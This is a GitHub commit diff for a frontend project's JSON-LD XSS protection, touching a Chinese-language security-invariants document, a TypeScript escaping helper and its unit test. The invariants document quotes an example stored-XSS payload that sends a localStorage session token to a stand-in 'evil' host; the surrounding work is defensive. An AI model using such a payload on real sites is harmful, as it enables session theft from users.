Skip to content

Commit 3e9285e

Browse files
longsizhuoCopilot
andauthored
Apply suggestions from code review
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
1 parent 9866707 commit 3e9285e

3 files changed

Lines changed: 16 additions & 8 deletions

File tree

docs/SECURITY_INVARIANTS.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# 前端安全不变量(Security Invariants)
22

33
> 这是给维护者看的代码不变量清单。
4-
> 公开的 vulnerability disclosure policy 见 `frontend/SECURITY.md`
4+
> 公开的 vulnerability disclosure policy 见 `SECURITY.md`
55
66
本文档登记前端代码中**不可变更的安全保护点**
77
每条不变量都对应一段 lint / 测试 / 代码模式,CI 应能捕获回归。
@@ -35,9 +35,9 @@
3535
- 暂时通过 grep 巡查兜底:
3636
`rg -t tsx -t ts 'dangerouslySetInnerHTML' app/ | grep -v safeJsonLdString | grep "application/ld\\+json"`
3737
应返回 0 行。建议未来加 ESLint 自定义规则。
38-
- 推荐补一个单元测试:
39-
`safeJsonLdString({bio: "</script><script>x</script>"})`
40-
输出不能包含字面 `</script>`,必须含 `</script>`
38+
- 现有单元测试见:`tests/json-ld.test.ts`
39+
例如 `safeJsonLdString({bio: "</script><script>x</script>"})`
40+
输出不能包含字面 `<``</script>`,并且应包含转义后的 `\\u003c` 序列
4141
- **为什么**`JSON.stringify` 默认不转义 `<` `>` `&`,攻击者把
4242
`</script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>`
4343
写进任何 user-generated 字段(profile bio、displayName 等)即触发 stored XSS。

lib/json-ld.ts

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
/**
22
* 把任意对象序列化为可安全嵌入 <script type="application/ld+json"> 的字符串。
33
*
4-
* 安全不变量 INV-FE-001(见 frontend/SECURITY.md):
4+
* 安全不变量 INV-FE-001(见 SECURITY.md):
55
* 所有 dangerouslySetInnerHTML={{__html: JSON.stringify(jsonLd)}} 必须改用本函数。
66
*
77
* 攻击场景:用户在可控字段(bio / displayName 等 user-generated 字段)填入
@@ -17,7 +17,15 @@
1717
* ECMAScript 源码上下文会被识别为行终止符破坏外层 JS 语法——defense-in-depth。
1818
*/
1919
export function safeJsonLdString(payload: unknown): string {
20-
return JSON.stringify(payload)
20+
let serialized: string | undefined;
21+
22+
try {
23+
serialized = JSON.stringify(payload);
24+
} catch {
25+
serialized = "null";
26+
}
27+
28+
return (serialized ?? "null")
2129
.replace(/</g, "\\u003c")
2230
.replace(/>/g, "\\u003e")
2331
.replace(/&/g, "\\u0026")

tests/json-ld.test.ts

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
*
88
* JSON.stringify 默认输出原文,浏览器看到 `</script>` 就闭合 script block,
99
* 接着把后续 `<script>` 当 inline JS 执行——典型 stored XSS。
10-
* safeJsonLdString 把所有 `<` 转成字面 6 字符 `<`,浏览器看不到 `<`。
10+
* safeJsonLdString 把所有 `<` 转成字面 6 字符 `\u003c`,浏览器看不到原始 `<`。
1111
*/
1212
import { describe, expect, test } from "vitest";
1313
import { safeJsonLdString } from "../lib/json-ld";
@@ -37,7 +37,7 @@ describe("safeJsonLdString", () => {
3737
const out = safeJsonLdString({ field: "a<b>c&d" });
3838
expect(out).not.toContain("<");
3939
expect(out).not.toContain(">");
40-
// & 也应该被转义为 &
40+
// & 也应该被转义为字面 `\\u0026`
4141
expect(out).toContain("\\u0026");
4242
});
4343

0 commit comments

Comments
 (0)